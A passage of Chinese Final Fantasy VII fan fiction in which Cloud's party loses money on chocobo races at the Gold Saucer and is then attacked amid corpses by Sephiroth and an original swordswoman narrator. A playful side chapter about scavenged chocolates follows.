爱丽丝也看得津津有味,她微笑着说:“那只金色的陆行鸟真的好漂亮,它的羽毛在灯光下闪闪发光呢。而且骑手看起来也很年轻,真是了不起。” 蒂法则更关注细节。 “你看那只黑色陆行鸟,它的耐力好像更好一些,虽然起步慢了,但一直在稳步追赶呢。”她转向克劳德,“克劳德,你觉得哪只会赢?” 克劳德摇了摇头,声音在巨大的喧嚣中显得有些微弱。 “不知道。我对比赛不太了解。” “哎呀,别这么说嘛,克劳德!” 扎克斯大手一挥,热情不减。 “比赛嘛,就是要猜个输赢才刺激!走走走,我们去下注的地方看看!说不定能大赚一笔呢!”他拉着克劳德就要往人群里挤。 尤菲一听到“大赚一笔”,眼睛立刻像探照灯一样亮了起来,她从扎克斯和克劳德中间挤了过去,小跑着冲向不远处的投注窗口:“下注下注!我也要下注!刚才那只金色的看起来就很厉害!我要把所有的Gil都押在它身上!” 她回头朝众人喊道。 “你们快点啊!别错过了发财的好机会!” □□抱着手臂,看着眼前这奢华靡费的场景,不满地哼了一声:“哼,神罗的贵族们就是会玩乐,把我们这些普通人的血汗钱都砸在这种无聊的比赛上了!” 他顿了顿,又低声对旁边的赤红十三说。 “你说对吧,红?这种地方,真是乌烟瘴气。” 赤红十三甩了甩尾巴,喉咙里发出低沉的咕噜声,算是同意了□□的说法。它对这种吵闹的环境也有些不适应,琥珀色的眼睛警惕地扫视着四周。 凯特·西骑着它的莫古力玩偶,在一旁摇摇晃晃地开口道:“哎呀呀,这位大叔,话可不能这么说,库啵。陆行鸟比赛可是金蝶最受欢迎的娱乐项目之一,它能带来欢乐,也能带来财富呢!比如说——” 它清了清嗓子,故作神秘地说道:“本先知刚刚夜观天象,发现今天的幸运数字是七,幸运颜色是金色!所以,押注那只金色陆行鸟,胜算可是很大的哦!” “真的假的啊?你这只破猫,少在这里胡说八道!”□□瞪了凯特·西一眼,“你要是真能算出来,自己怎么不去发大财?” “哎呀,天机不可泄露,库啵!” 凯特·西摆了摆爪子。 “而且,本先知的职责是引导迷途的羔羊,而不是追求世俗的财富!不过嘛,如果你们谁赢了钱,可别忘了分我一点辛苦费哦!” 它朝着众人挤了挤眼睛。 爱丽丝被凯特·西滑稽的模样逗笑了:“凯特·西先生真幽默。不过,既然凯特·西先生都这么说了,那只金色陆行鸟的胜算会不会真的很高呢?” 扎克斯已经拉着克劳德挤到了投注窗口附近,他回头对蒂法和爱丽丝喊道:“蒂法!爱丽丝!你们要不要也来试试手气?就当是玩玩嘛!” 蒂法有些犹豫,她看了看克劳德,又看了看兴高采烈的扎克斯,最终还是微笑着点了点头:“好吧,那我们就押一点点,体验一下气氛。” 她对爱丽丝说,“爱丽丝,我们一起去看看吧?” “好啊。” 爱丽丝欣然同意。 “克劳德,你想押哪只?” 扎克斯拿着一张投注单,兴奋地问。 “还是那只金色的?或者你有什么别的独到见解?” 克劳德沉默地看了看赛道上那些飞驰的陆行鸟,它们的身影在灯光下显得模糊而快速。他最终还是摇了摇头。 “我随便。你决定就好。” 扎克斯听到克劳德那句轻飘飘的话语,非但没有泄气,反而更加兴致勃□□来。 他咧开一个大大的笑容,用力拍了拍克劳德的肩膀,声音洪亮地宣布:“好嘞!既然我的好兄弟这么信任我,那我可得好好帮你挑一只冠军陆行鸟!” 扎克斯转身对着巨大屏幕上滚动的参赛陆行鸟名单和赔率表,煞有介事地研究起来,手指在空中比划着,嘴里念念有词:“嗯——这只‘黄金旋风’看起来不错,赔率也挺高,不过它的骑手是个新手。” “这只‘暗夜突袭者’耐力惊人,但爆发力稍逊。哎呀,真是难以抉择啊!” 时间一分一秒地流逝,陆行鸟广场上的欢呼声一浪高过一浪,但这份热闹却丝毫无法温暖一行人越来越冰凉的钱包。 “可恶啊!又差一点!就差那么一个鸟头的距离!” 扎克斯懊恼地抓了抓他那标志性的黑色刺猬头,将手里的废弃投注单揉成一团,愤愤地丢在地上。他原本兴高采烈的脸庞此刻也垮了下来,嘴角习惯性的笑容都淡了几分。 “我的直觉今天是不是出门忘带了?怎么买哪只哪只输啊!” 尤菲更是直接蹲在了地上,双手抱着头,整个人散发着一股浓浓的生无可恋的气息。 她面前散落着一小堆同样被揉成团的投注单,每一张都代表着她“发财大计”的又一次破灭。 “我的Gil啊——我辛辛苦苦攒下来的Gil——” 小姑娘的声音带着哭腔,听起来可怜兮兮的。 “早知道就不听那个蠢猫胡说八道了!什么金色幸运,我看是金色灾难才对!”她狠狠地瞪了一眼大屏幕上正在接受欢呼的、刚刚赢得比赛的冠军陆行鸟——那是一只神气活现的黑色陆行鸟。 爱丽丝轻轻拍了拍尤菲的后背,柔声安慰道:“好啦好啦,尤菲,别太难过了。赌博这种事情本来就是有输有赢的嘛,我们只是运气不太好而已。” 她从口袋里掏出一块手帕,递给尤菲。 “下次我们换个别的玩,说不定就能赢回来了。” 蒂法也叹了口气,她看着空瘪了不少的钱包,脸上露出一丝苦笑:“看来陆行鸟比赛不太适合我们呢。早知道就少押一点了。” 她转向克劳德。 他依旧是一副古井无波的表情,只是默默地站在那里,眼神不知道飘向了何方。 此时已是深夜,空中只剩下了五彩的霓虹灯。 他们刚刚从座位上起身,就听到了刺耳的广播声,不远处的人群喧闹,他们正纷纷撤离。 【“因设备失调,金蝶游乐园将在10分钟后停电。感谢各位游客的本次参与,此次的票价我们将会返还1500Gil……”】 尖锐的广播重复着。 【“因设备失调,金蝶游乐园将在10分钟后停电。感谢各位游客的本次参与,此次的票价我们将会返还1500Gil……”】 人群中,大多是抱怨的声音,还有几个赌徒的埋怨。 但克劳德敏锐的感觉到了更多。 枪声。 整齐划一的脚步声。 他转头看向扎克斯,他的表情也一变。 “克劳德,你听到了吗?” 扎克斯的声音压低了许多,平日里阳光开朗的声线此刻也染上了一层凝重。 他青色的眼眸警惕地扫视着因停电预告而愈发混乱的人群,手臂 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“不是吧!我们走到哪里神罗就追到哪里吗?我还没把这里的稀有魔晶石都搜刮完呢!” 人群慢慢的消失在广场中,此时,居然只剩下了他们。 那些因比赛而搭建的华丽布景,在失去了簇拥后,显得有些孤寂和怪诞。空气中弥漫着未散尽的爆米花甜香、汗味以及一丝隐约的火药味。 凯特·西骑在摇摇晃晃的莫古力玩偶上,头顶的扩音器发出几声“滋啦”的电流声,它煞有介事地清了清嗓子:“哎呀呀,各位不必惊慌,让本先知来为你们解读一下眼前的局势,库啵!” 它故作高深地转了转猫头。 “根据我刚才紧急进行的‘灾厄预警’占卜,这次事件,嗯——虽然看起来很麻烦,但似乎与我们并无直接关联。不过嘛,命运的丝线总是错综复杂的,说不定我们会被卷入什么意想不到的漩涡呢!” 就在此时,广场上方的巨大魔法屏幕突然发出一阵刺耳的电流爆鸣声,紧接着,所有的灯光,包括那些疯狂闪烁的霓虹灯,都在一瞬间彻底熄灭了。 整个陆行鸟广场,陷入了一片伸手不见五指的黑暗。 只有远处摩天轮顶端那几个应急指示灯还在微弱地闪烁着红光。 “该死!真的停电了!” 巴|雷特的声音在黑暗中显得格外响亮。 “大家别慌!都别乱动!” 扎克斯立刻高声喊道,试图稳住局面。 “克劳德,你还能感知到那些士兵的位置吗?” 黑暗中,克劳德的声音冷静地传来:“他们停在了摩天轮下方的一个入口附近,似乎在进行某种歼灭行动。那里…有打斗的声音。” --- 顺着记忆的路线,他们一路往外走。 血的味道越来越浓。 枪声和脚步声一开始是逐渐急促的,然后,慢慢的转弱。 一切归于寂静。 爱丽丝正和蒂法牵着手往前,忽地,不小心踢到了什么—— 那是一具被拦腰斩断的尸体,器官组织一股脑地从躯壳的下半部流出,神罗的士兵在死前还戴着头盔。 “……” 爱丽丝那一瞬间几乎要惊叫出声,但很快被她强压了下去,只剩下一声短促的抽气。 她下意识地抓紧了蒂法的手,指尖冰凉,微微颤抖。蒂法反手握住了她,掌心传来的温度带着一丝安抚的力量。 扎克斯瞥见那具尸体,瞳孔稍微缩了缩。 这样干脆的杀戮方式…… “大家小心脚下,”扎克斯的声音在黑暗中响起,他的声音压得很低,“我们不能在这里停留,必须尽快离开这个区域。” 他们又往前走了一段距离,克劳德突然停下了脚步。 “等等。” 扎克斯立刻警觉起来:“怎么了,克劳德?” “前面……又有尸体,不止一具。” 克劳德的声音没有丝毫波澜,他浅青色的魔晄眼在黑暗中泛着幽幽的光芒,能比其他人更清晰地捕捉到一些轮廓。 扎克斯闻言,示意大家停下。他从腰间摸出一个小型的应急照明棒,轻轻一折,“咔哒”一声,柔和的白色光芒瞬间驱散了周围一小片黑暗。 光芒所及之处,景象惨不忍睹。 几具神罗士兵的尸体以各种扭曲的姿势堆叠在地上,他们身上的盔甲被撕裂开巨大的口子,皆是一刀干脆的腰斩毙命。 “我的老天,”巴|雷特粗重的呼吸声在寂静中格外清晰,他那只机械臂不自觉地握紧了,“这,这是什么怪物干的?一刀,就把人给劈成两半了?” 尤菲紧紧跟在爱丽丝身后,探头探脑地看着那些尸体,小脸有些发白,但还是忍不住好奇:“哇啊,好厉害的刀法!这些人连反应的机会都没有吧?是被偷袭了吗?还是正面硬刚的?” 她顿了顿,压低声音,带着一丝兴奋。 “会不会是什么传说中的剑圣干的?或者是某种超级厉害的魔物?” “不像是魔物。” 克劳德蹲下身,仔细查看了一具尸体断裂的盔甲边缘。 “切口非常平整,而且带着极高温灼烧的痕迹。这不是单纯的利刃造成的。” 这种时候,扎克斯,罕见的沉默了。 他一言不发。 克劳德继续分析。 “神罗的部队训练有素,即便面对突袭,也不可能如此毫无还手之力。除非……” “除非攻击者强大到让他们连拔剑的机会都没有。”爱丽丝轻声接口,她的声音带着一丝不易察觉的颤抖,但眼神却很坚定。 “而且,从这些尸体的分布来看,他们似乎是想从不同的方向包围某个目标,但反而被逐个击破了。” 蒂法点了点头,补充道:“就像是狩猎。只是,这次神罗士兵成了猎物。”她看着那些年轻士兵扭曲的面容,心中升起一丝不忍,“他们看起来都很年轻,卷入这样的战斗,真是……” 她厌恶神罗,但这些都是鲜活的生命。 应急照明棒微弱的光芒在黑暗中摇曳,勉强照亮脚下沾染着暗沉血迹的道路。 空气中的血腥味如同实质般浓稠,混合着金属的铁锈气和一种难以名状的焦糊味,刺激着众人的嗅觉神经,每一次呼吸都带着令人作呕的沉重感。 越是靠近摩天轮的基座,这种压抑的感觉就越是强烈。 高大的钢铁结构在夜幕中投下巨大的阴影,如同潜伏的巨兽。 摩天轮本身已经完全停止了运作,那些曾经五彩斑斓的轿厢此刻如同一个个悬挂的铁棺材,静默地俯瞰着下方发生的一切。 “……等等。” 最前方的克劳德停下了脚步,他伸出手,拦住了与他一同向前的扎克斯。 黑发男人的声音含着压抑。 “克劳德,我知道这是谁,这是……” 咔擦。 摩天轮的灯光刹那间点亮。 成千上万的彩灯在一瞬间被同时点燃,迸发出刺眼夺目的光芒。赤、橙、黄、绿、青、蓝、紫—— 梦幻般的色彩驱散了浓重的黑暗,却也将这片区域彻底变成了一个光怪陆离、血腥斑斓的人间炼狱。 被腰斩的、被洞穿的、被撕裂的神罗士兵尸体横七竖八地铺满了地面,破碎的装甲片混合着凝固的内脏与断裂的骨骼,在五彩灯光的映照下反射出一种诡异而妖艳的光泽。 浓稠的血液汇聚成溪流,在地面上蜿蜒流淌,将洁白的沙地染成一片片深浅不一的紫黑。 她站在最前方。 银色的低马尾飘舞,与此显现的,是那璀璨的莹绿色眸子,在五光十色的照耀下,像是最珍贵的绿水晶。 那把半人长的大太刀在女人手中稍稍摇晃,将多余的血渍甩到地上,溅起细微的涟漪。 “萨菲罗斯,好了吗?” 她的声音很轻,带着一种独特的、仿佛事不关己的随意。 随后,她偏过头,与克劳德此时瞪大的浅青色眸子对视。 “……” 哐当。 摩天轮,启动了。 巨大的钢铁骨架在沉默中开始缓缓转动,带动着一个个空荡荡的轿厢,如同午夜幽灵的巡游。 每一节轿厢上都点缀着无数细小的彩灯,斑斓的灯光随着轿厢的升降而移动,在地面投下不断变幻、扭曲拉长的光影。 同时,紫色的荧光在她身侧凝聚,如同拥有生命般迅速凝聚、拉伸、塑形。 那熟悉的面容。 银色的长发如同月光凝成的瀑布,柔顺地披散在肩头和背后,几缕不羁的发丝垂落在光洁的额前。 右手随意地捏着一块金属制的圆球,左手则优雅地按在腰间那柄狭长太刀的刀柄之上——正宗。 那双曾令无数神罗士兵敬畏与恐惧的魔晄眼眸,此刻正平静地注视着她。 是萨菲罗斯。 “嗯。” 男人平静的回复,接着,将左手的铁球递给她。 爱丽丝认出了那是古代种神殿的钥匙石。 萨菲罗斯偏过头,与她一起,并肩与一行人对立。 刀光闪烁。 “轰隆隆——” 老旧的机械运转声混合着某种欢快的、却在此刻显得无比刺耳的游乐园背景音乐,突兀地打破了先前的死寂。 仿佛一场盛大的、血腥的庆典,在猝不及防间拉开了序幕。 65.第61章 我尴尬了。 刚刚叫萨菲罗斯先去拿钥匙石,我顺便在金蝶逛着玩。顺手给克劳德投喂了点小零食后,正想白嫖下摩天轮,我就发现自己被神罗军包围了。 于是悲痛的丢下我陆行鸟的皮套。 结果金蝶为了不让我白嫖摩天轮(?)直接停电了,真是可恶。 好不容易让忙完的萨菲罗斯帮我把摩天轮开了,结果一转头,就是克劳德和他的“主角小队”。 那欢快到诡异的游乐园音乐还在锲而不舍地响着,简直像是给我此刻尴尬的处境配的背景乐。 “克劳德……” 在我身侧的萨菲罗斯轻声开口,发表反派标准言论了。 “又见面了。看来,你总是在追寻着一些……不属于你的东西。” “……” 看来没得谈了。 --- 战斗开始。 扎克斯是第一个冲上前的,萨菲罗斯的正宗随手挡住他的劈击,于此同时,克劳德也往他那冲了过来。 他的仇恨这么高吗? 铮—— 金属交接之声。 在萨菲罗斯转头将蒂法甩开之时,她用大太刀替他同时格挡住扎克斯和克劳德的劈击,手腕发力,刀锋顺势一带,将两人的剑都荡开几分,借力向后跃了一小步,拉开了少许距离。 “前辈!”扎克斯被荡开一步,破坏剑在地上划出一道深痕,溅起一片沙尘。他稳住身形,湛蓝的眼眸中充满了焦急与不解,“你为什么要这么做!那家伙是——” 他话未说完,克劳德已经再次冲了上去。 他没有使用华丽的招式,只是一记迅猛直接的纵劈,目标直指她。 “喂喂,陆行鸟,这么急着送死吗?” 她不闪不避,将钥匙石顺手丢给萨菲罗斯后,双手握刀柄,自下而上斜撩而起,刀锋在空中留下一道残影,精准地迎向克劳德的剑刃。 “当!” 又是一声震耳欲聋的金属撞击声。 这一次,克劳德似乎用上了全力,她被震得向后滑退了半步,但依旧稳稳地接下了这一击。 银发男人十分自然的伸出右手,钥匙石落入他的右手掌心,于此同时,稍稍侧身躲过蒂法的下踢,正宗的剑锋直指扎克斯。 破坏剑的刀身精准地格挡住正宗的锋芒,细长的刀身与宽厚的剑刃交击,迸发出耀眼的火花。 萨菲罗斯的力量看似不及扎克斯刚猛,但他卸力的技巧却炉火纯青,破坏剑那泰山压顶般的力量被他轻易化解。 紧接着,萨菲罗斯轻巧的将钥匙石抛出,一道凝练的黑色火焰凭空出现在右手之中,随即如毒蛇般射向侧翼的克劳德。 她轻巧的切换单手握刀,接住金属球体的同时,顺手击破爱丽丝凝聚而出的火魔法。 可怕的配合。 克劳德面对这突如其来的致命攻击,瞳孔猛地一缩。他几乎是本能地侧身翻滚,符文剑宽厚的剑身险之又险地挡在身前。 “轰!” 漆黑的火焰撞击在符文剑上,爆发出沉闷的巨响。灼热的气浪夹杂着飞溅的火星向四周席卷开来,克劳德只觉得一股沛然大力从剑身传来,虎口巨震,手臂一阵发麻。 当漆黑的焰色散去之时,迎面而来的是萨菲罗斯无情的剑锋。 另一边的她,与其几近是同时的交换目标。 扎克斯被大太刀的劈击逼的后退一步。 克劳德只觉一股令人窒息的压力扑面而来,他强行压下手臂的麻痹感,符文剑横在身前,试图格挡这迅猛无匹的一击。 “叮!” 尖锐的金属摩擦声撕裂夜空,正宗的剑尖与符文剑宽厚的剑身碰撞,火星四溅。克劳德闷哼一声,脚下被巨大的力道震得向后滑出数米,在地上留出两道浅浅的痕迹。 一道赤红色的魔法阵在他脚下骤然亮起,炽热的火元素迅速凝聚。 “火焰!” 爱丽丝清叱一声,双手挥动,灼热的火球呼啸着砸向萨菲罗斯。 萨菲罗斯身形未动,只是轻描淡写地偏了偏头,任由那火球擦着他的银发飞过,在不远处的地面炸开一团烈焰。 “雕虫小技。” 他冷淡地评价。 “少得意了!” 扎克斯再次向前,破坏剑带着万钧之势当头劈落,“你的对手是我!”破坏剑的剑身上闪烁着淡蓝色的光芒,那是他注入的魔晄力量。 “不要被他迷惑!” 蒂法急促地喊道,她身形灵动,绕到萨菲罗斯侧后方,一记快如闪电的掌底直击其腰肋。 萨菲罗斯仿佛背后长了眼睛,右手接过她丢来的金属球——钥匙石,身体却以一个不可思议的角度扭转,正宗刀的刀背精准地磕在蒂法的手腕上,化解了她的攻势。 同时,他右手持刀,刀锋反撩,逼退了正面的扎克斯。 “铿!” 间隙之中,她追击向前。大太刀从一个刁钻的角度斜劈而至,刀锋破空,带着尖锐的呼啸声,目标直指扎克斯握剑的右手。 扎克斯瞳孔一缩,急忙收剑回防。 “前辈!”扎克斯一边格挡着她的攻击,一边焦急地喊道,“清醒一点!你知道你在做什么吗!” 她充耳不闻,攻势越发凌厉,每一刀都快如闪电,直指扎克斯的破绽。 这时,一直游走在战场边缘的巴|雷特终于找到了机会,他手臂上的火神炮猛地旋转起来,发出一阵令人牙酸的机械摩擦声。 “尝尝这个吧!你们这两个混蛋!” 愤怒的咆哮声中,密集的子弹如同火蛇般喷射而出,目标直指正在与扎克斯缠斗的她! “掩护射击!干得好,大叔!” 尤菲敏捷地从一个断裂的灯柱后跳了出来,她双手快速结印,数枚闪烁着寒光的十字镖如同飞蝗般射向正在应对蒂法和扎克斯的萨菲罗斯。 “五台忍术——手里剑乱舞!” 凯特·西骑着莫古力玩偶,在战场的边缘摇摇晃晃,扩音器里传出它有些慌乱的声音:“哎呀呀,打起来了,真的打起来了!库啵!各位小心啊!刀剑无眼,魔法无情啊!” 它悄悄地操纵着莫古力,试图离战场中心远一些。 “啧。” 银发女人的轻啧声。 她后撤的一瞬,稍稍俯身,随手一挥,凛冽的刀光夹杂着些许暗蓝色的光点,猛地回头,将正在运作的摩天轮支柱当场斩断。 沉重的钢铁结构开始缓慢地、却又带着无可抗拒的趋势向一侧倾斜。固定在支柱上的无数彩灯如同破碎的星辰般纷纷爆裂、坠落,在地面砸出点点火花。 摩天轮主体发出的巨大噪音如同垂死巨兽的哀嚎,每一个空荡荡的轿厢都随着倾斜而剧烈摇晃,发出令人心悸的碰撞声。 “轰——!!!” 其中一根主支撑臂彻底断裂,重重地砸在不远处的地面上,激起漫天烟尘与碎石。整个陆行鸟广场都为之剧烈震颤,仿佛发生了一场小型地震。 漆黑之中,唯一的光源开始晃荡,克劳德喘着气,抬起头,却只看到了两人那居高临下的,如夜中明星的魔晄眼。 “咳咳!” 扎克斯挥手扇开眼前的烟尘,破坏剑紧握在手,湛蓝的魔晄眼在昏暗中锐利地扫视着四周。 “大家都没事吧?!” “我还好!”蒂法的声音从不远处传来,带着些许喘息,“爱丽丝,你怎么样?” “我没事,蒂法!”爱丽丝的声音带着一丝惊魂未定,但依旧清亮,“尤菲,□□先生?” “本小姐还好得很!这种程度的爆炸,还伤不到我!”尤菲的声音从一堆翻倒的摊位残骸后传来,她拍了拍身上的灰尘,十字镖紧握在手,警惕地观察着周围。 巴|雷特粗重的呼吸声响起:“他娘的!这两个家伙是想把整个金蝶都拆了吗!”他手臂上的火神炮再次旋转起来,炮口闪烁着危险的红光,“赤红!掩护我!” 赤红十三低吼一声,矫健的身影在残骸间穿梭,寻找着有利的攻击位置。 凯特·西骑着莫古力玩偶,在一片相对安全的角落里探出脑袋,扩音器里的声音带着明显的颤抖:“库啵!这、这已经不是打架的程度了!这是要拆迁啊!妈妈咪呀!” 克劳德没有说话,他只是更紧地握住了手中的符文剑,浅青色的魔晄眼在忽明忽暗的光线下,死死地锁定着烟尘弥漫处那两个熟悉的身影。 烟尘渐渐散去,露出了她和他的身影。 她的银色低马尾在混乱的气流中微微摆动,大太刀斜指地面,刀身上沾染的血迹在残存灯光的映照下,呈现出一种妖异的暗红色。 脸上依旧带着那种漫不经心的浅笑,莹绿色的眼眸在光影中闪烁,仿佛眼前这片狼藉对她而言,不过是一场稍显有趣的闹剧。 他站在她身侧,银色的长发被劲风吹拂,却丝毫不显凌乱。 单手持着正宗,刀尖斜指下方,那双碧绿色的魔晄眼平静无波,却又蕴含着洞察一切的锐利。 “该结束了。” 萨菲罗斯将右手的钥匙石抛给她,不紧不慢的伸出手,指节轻轻一抬。 摇摇欲坠的摩天轮仿佛被一股无形的力量彻底折断,接着,向他们砸过来。 “散开!快散开!” 扎克斯的声音在震耳欲聋的巨响中艰难地穿透出来,他一把推开身边的克劳德,同时用尽全力向侧后方跃去。破坏剑的剑尖在地面划出一道深长的沟壑,溅起大片沙土。 克劳德被扎克斯推得一个踉跄,几乎是凭借战斗本能向另一侧翻滚。 他眼角的余光瞥见那遮天蔽日的巨大阴影正以无可阻挡之势压下。 “神圣魔法阵!” 爱丽丝的声音在混乱中响起,带着一丝颤抖却异常坚定。她高举起手中的长杖,淡绿色的光晕从杖端扩散开来,在地面迅速勾勒出一个繁复而充满生机的魔法阵。光芒升腾而起,试图形成一道屏障。 “爱丽丝!魔法阵挡不住这么大的东西!”蒂法焦急地喊道,她身形迅捷,一把拉住爱丽丝的手臂,将她向后拖拽,“快退后!” 巴雷|特怒吼着,手臂上的火神炮疯狂旋转,炽热的弹雨倾泻向那不断逼近的钢铁巨兽,却如同蜉蝣撼树,只能在其表面溅起点点微不足道的火花。 “这他妈的算什么攻击!简直是谋杀!” “大叔!光靠你的炮弹可没用!”尤菲的声音从一片翻倒的摊位后传来,她身手矫健地在断裂的钢筋和坠落的杂物间穿梭,“我们得找机会先离开这片区域!赤红十三,帮我开路!” 赤红十三发出一声低沉的咆哮,矫健的四肢在废墟中灵活地跳跃,它用强壮的身体撞开一些较小的障碍物,试图为尤菲清理出一条逃生通道。 凯特·西骑着它的莫古力玩偶,此刻已经完全顾不上什么“先知”的风范了,它紧紧抓着莫古力的耳朵,扩音器里发出的声音充满了惊恐。 “库啵!库啵啵!要压扁了!要变成猫咪肉饼了啊!莫古力,快想想办法!用你的飞行魔法啊!” 莫古力玩偶在原地急得团团转,发出无助的“噗叽噗叽”声,显然它的“飞行魔法”在这种级别的灾难面前毫无用处。 就在这千钧一发之际,克劳德看到萨菲罗斯动了。 银发男人只是随意地抬起右手,掌心翻转向上,五指微张。他那双碧绿色的魔晄眼中没有丝毫波澜,仿佛眼前这足以毁灭一切的场景,在他眼中不过是一场微不足道的闹剧。 一股无形的、却又强大到令人窒息的力量从他掌心弥漫开来。 “轰隆——” 倾塌的摩天轮,在距离地面还有数十米的高度,竟然诡异地停滞了一瞬。 那庞大的钢铁结构仿佛被一只无形的巨手托住,下坠的势头被硬生生遏制。 “这,这是——” 紧接着, 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--- 结束了。 之前华丽喧嚣的陆行鸟广场,此刻已经面目全非。 巨大的摩天轮残骸如同两头被斩断的巨兽,分别嵌入了广场两侧的豪华酒店和购物中心,引发了连环的爆炸和坍塌。 地面上,原本平整洁净的广场砖石早已被掀翻、碎裂,到处都是崩塌的建筑碎块、断裂的广告牌、以及各种被高温融化后凝固的、形状古怪的物体。 火焰如同贪婪的舌头,舔舐着断裂的钢筋和破碎的玻璃幕墙,浓烟滚滚,直冲夜空。 夜幕被点亮,火焰之中,只剩下了她的身影。 她的左手抛着那颗金属制的钥匙石。 萨菲罗斯不见踪影。 哦,又生气了。 女人抬脚,皱了皱眉,好像在思索着什么的往外走,没有丝毫犹豫。 忽地—— 一只手,覆盖着尘土与暗红色血污的手,猛地从她脚边的废墟中伸了出来,死死抓住了她的右脚脚踝。 “……” 女人的动作顿住了。 她低头,看着那只紧抓着自己脚踝的手。 手指修长,骨节分明,但此刻却布满了细小的伤口和干涸的血迹,指甲缝里塞满了黑色的灰烬。顺着手臂向上看去,是被烧焦撕裂的黑色风衣袖口,以及隐约可见的、沾染着同样污渍的皮肤。 那只手的主人,正从一堆坍塌的金属支架和碎石瓦砾中艰难地抬起头。 金色的发丝凌乱地贴在布满汗水与尘土的额头上,几缕发丝甚至被高温燎卷曲。他剧烈地喘息着,每一次呼吸都带出胸腔中沉重的闷响,嘴角还挂着一丝未干的血迹。 然而,那双浅青色的魔晄眼眸,却依旧明亮得惊人,在摇曳的火光与弥漫的烟尘中,死死地盯着她。 是克劳德。 他看起来狼狈不堪,身上那件黑色的风衣已经多处破损,脸上和手臂上也有不少擦伤和烧伤的痕迹。 “……克劳德。” 克劳德没有回应,只是更加用力地攥紧了她的脚踝,喉咙里发出一阵压抑的、如同受伤野兽般的低吼。 他似乎想说什么,但剧烈的咳嗽声打断了他,每一次咳嗽都让他的身体剧烈地颤抖,嘴角的血沫也更多了。 “松手啦。” “……” “陆行鸟,听得见吗?” “……” 银发女人叹了口气,她半蹲下身,与他平视。 然后,她伸出手,慢慢的拨开了男人额前的金色发丝。 破碎的神情。 “喂……不会要哭了吧?” 巨大的摩天轮残骸如同两座沉默的钢铁坟墓,斜插在曾经华丽的广场两侧,不断有细小的碎石和燃烧的碎片从高处坠落,砸在满目疮痍的地面上,发出沉闷的声响。 “……咳……我,我没……” 每一个字都说得异常艰难,混杂着剧烈的喘息和压抑的哽咽。 克劳德试图反驳,想说自己没有哭,但那双通红的、水汽朦胧的眼睛却出卖了他。 那紧抓着脚踝的手指,因为用力而泛白,微微颤抖着。 他的嘴唇嗫嚅,呼吸慢慢急促,随后—— 吐出。 所有的情绪,化为了最后的语句。 “对不起……” “……” 她歪了歪头。 银色的低马尾随着她的动作轻轻晃动了一下,几缕发丝垂落在脸颊旁。 伸出的手还停留在克劳德的额前,指尖能感觉到他皮肤上滚烫的温度,以及细微的、因压抑而产生的颤抖。 “对不起…什么意思?” 她戳了戳他的脑门。 没有得到回答,只有他的身体再次战栗了下。 “算了。” 一抹绿色的荧光自她的手中发出。 光芒并不刺眼,却带着一种抚慰人心的力量,轻柔地包裹住克劳德满是伤痕的额头,然后缓缓向下蔓延,覆盖了他狼狈不堪的脸庞。 克劳德的身体因为这突如其来的温暖触感而微微一颤,他那双原本因痛苦和绝望凝聚而成的偏执渐渐涣散。 那紧抓着她脚踝的手指,也下意识地松了些许力道。 “给你的饼干吃了没?酸角干吃了没?嗯?” “那饼干可是神罗特供的啊!我都只有一包。” “……” 她另一只空着的手轻轻摸了把他那金色的陆行鸟头,熟悉的手感。 随后往下,将他的指节—— 一根根掰开。 “好吧,骗你的。其实一包里有8小袋。” “……放弃吧,别再追过来了。” 66.免费巧克力日[番外] 520番外!时间线在cc,牢萨专场,好写(?): 今天是个好日子。 为什么这么说? 在米德加的走廊逛着逛着,我就瞥到了某个垃圾桶里的零食——包装精美,由粉嫩的丝带束好。 我看了一眼。 四周没人。 于是我把它翻了出来。 拆开包装——居然是新鲜的,未开封的巧克力! 查看了下品牌,这可不便宜。 于是我将其毫不犹豫地塞进了口袋。 继续逛着,我本来是打算去找萨菲罗斯战斗爽的,没想到,又在一个拐角的垃圾桶发现了两三盒。 “……” 我若无其事的将其放入口袋。 没走几步,我的口袋就已经塞满了。 ——大概今天是什么”垃圾桶刷新巧克力日“。 来到萨菲罗斯的办公室门口,我惊讶的发现,就在门口的置物台上摆满了一堆的巧克力,还有一些什么什么的(直接无视)。 什么?难道萨菲罗斯也是去垃圾桶里翻的吗? 他居然翻了这么多! 某种危机感在我心中腾起。 我蹑手蹑脚地推开一条门缝,探头往里瞧。 萨菲罗斯正端坐在办公桌后,银色的长发一丝不苟地披在身后,但他却好像早就知晓似的,在我打开门的瞬间,与我对视。 “……” 估计是听到了我的脚步声吧。 我装作无事发生的走了进去。 萨菲罗斯那双碧绿色的魔晄眼依旧落在我身上。 “……谁送你的?” 他忽的开口了。 我一梗。 什么送?这都是我捡的啊! 头脑风暴了一下,我故作深沉的轻哼一声。 “跟你无关。” “扎克斯?克劳德?还是那个你在第五区认识的女生?你的人际圈还有其他人吗?” 我听着萨菲罗斯慢条斯理地报出那一串名字。 “……这不重要!我来找你训练的,打不打?” “训练的事情,稍后再谈也不迟。” 一听见不打,我就准备灰溜溜的走掉了。 不知道为什么,总感觉气势低人一等——可恶,我不就是从垃圾桶里翻了点东西吗? 而且他的不也是翻出来的吗?! “……” 我溜之大吉的动作一顿,猛地回过头。 萨菲罗斯不知何时顺了一盒我口袋里的战利品。 他抿着唇,视线几乎是锁定在了包装上,好像在上面找着什么东西。 “喂!” 我几乎是下意识地就想扑过去抢回来。 “那是我的!” 萨菲罗斯置若罔闻,另一只手轻轻一抬,便轻易地隔开了我伸过去的手。 他用指尖轻轻摩挲着包装盒上那粉色的丝带。 “他看起来并不了解你。你对这种甜腻的粉色,向来没什么好感。” “……” “什么叫看起来不了解我?这巧克力好吃就行了,管它什么颜色!” 萨菲罗斯没有回答我,慢条斯理地拆开那粉色的丝带后,打开盒盖,露出了里面排列整齐的巧克力块。 每一块都做成了心形,上面还用白巧克力勾勒出复杂的花纹。 他拿起一块,并没有品尝,而是放在鼻尖轻轻嗅了嗅,眉头几不可见地蹙了一下:“可可的香气过于浓烈,掩盖了其本身的质地。而且,这种形状和花纹,过于流俗,缺乏新意。” 他放下那块巧克力,像是在评价一件无足轻重的艺术品。 “送你这个的人,品味堪忧。” “真正了解你的人,是不会选择这种甜腻到发齁的口味来敷衍你的。你的味蕾,更偏爱那些带有层次感和微苦回甘的纯粹。” 我被他这番话噎了一下。 “你,你怎么知道我喜欢什么口味?” 我有些结巴地反问,旋即又觉得这个问题很蠢,立刻改口。 “不对!我喜欢什么口味关你什么事?这巧克力是我自己弄来的,好吃就行,管它甜不甜,腻不腻!” “是你自己弄来的?” 萨菲罗斯的眉梢几不可见地挑动了一下,随机舒展。 